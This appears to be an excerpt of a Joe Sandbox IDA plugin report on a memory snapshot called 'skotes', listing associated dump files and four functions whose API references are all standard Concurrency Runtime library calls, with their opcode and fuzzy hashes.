Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: 23f684846c16e83b321c806c8b5b5da58453901c2ba5aa59b631ada77883c187
Instruction ID: 1ae36958b68aa4e3b63585e47a2f7b0e7284cd70241b4cc641122f0f675094c0
Opcode Fuzzy Hash: 23f684846c16e83b321c806c8b5b5da58453901c2ba5aa59b631ada77883c187
Instruction Fuzzy Hash: 6381B431D28219DFCF54DFA4CA81BEEB7B4AF15310F14C069E809A7282DB74AD65CB61

Function 002926D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 002926E3

Part of subcall function 002924E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00292504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00292704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00292711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 0029275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 002927E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 002927F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00292846

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 99dab1dc1d97049483a72bffdf3181836203f5b192eeb29a1248ca1feb54a40d
Instruction ID: 75daf10ee130475bc33d550cd2f5c6c7b7b08264fece640e9aa8612294363320
Opcode Fuzzy Hash: 99dab1dc1d97049483a72bffdf3181836203f5b192eeb29a1248ca1feb54a40d
Instruction Fuzzy Hash: 52817A3492024AFBEF169F94C951BFEBBB6AF55304F044098EC413A292C7728D39DB61

Function 00292970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00292982

Part of subcall function 002924E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00292504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 002929A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 002929B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 002929FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00292AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00292AD8

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 0d85bd22b20d235a8ec45831827ea0b47169bc9ac5be0e52e210f61da049d52f
Instruction ID: 72e1ad344f67ef1f0bf2789d9565f746adb8a1a5d93c0c2e51bb28b706b0ee35
Opcode Fuzzy Hash: 0d85bd22b20d235a8ec45831827ea0b47169bc9ac5be0e52e210f61da049d52f
Instruction Fuzzy Hash: A371BB3192024AFFDF15DF54C991BBEBBB6AF55308F044098EC416B292C7328D2ADB61

Function 00282832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00282876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 002828DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00282913

Part of subcall function 002807ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 0028080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00282993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 002829DB

Part of subcall function 002807C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 002807DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 002829EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00282A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00282A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00282A7E

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: fd3df01dbf0cfc785f0c03f61c4bac617147d1b5e74528413f123336bdb0d629
Instruction ID: 1f751b193329b4be4df78a5523623cda99f5e49197fcee1e2db3a33ae142bc2b
Opcode Fuzzy Hash: fd3df01dbf0cfc785f0c03f61c4bac617147d1b5e74528413f123336bdb0d629
Instruction Fuzzy Hash: BD81F679A22526DFCB18EF68E89497DBBF5BF58304B24402DD445E72C4D730ADA8CB90

Function 002869DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00286A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00286A51
List.LIBCONCRT ref: 00286A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00286A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00286AB9
List.LIBCONCRT ref: 00286AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00286B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00286B20
List.LIBCONCRT ref: 00286B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00286B68

Part of subcall function 00285EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00285EF7
Part of subcall function 00285EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00285F09

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 0c2fd7b00d1e2b12dc63100e13b46596321f14b034010adf670ffaa648013899
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 73515375A1121AAFDB08EF54C599BEDB3A8BF08304F044069E915A72C1DB30AE54CF90

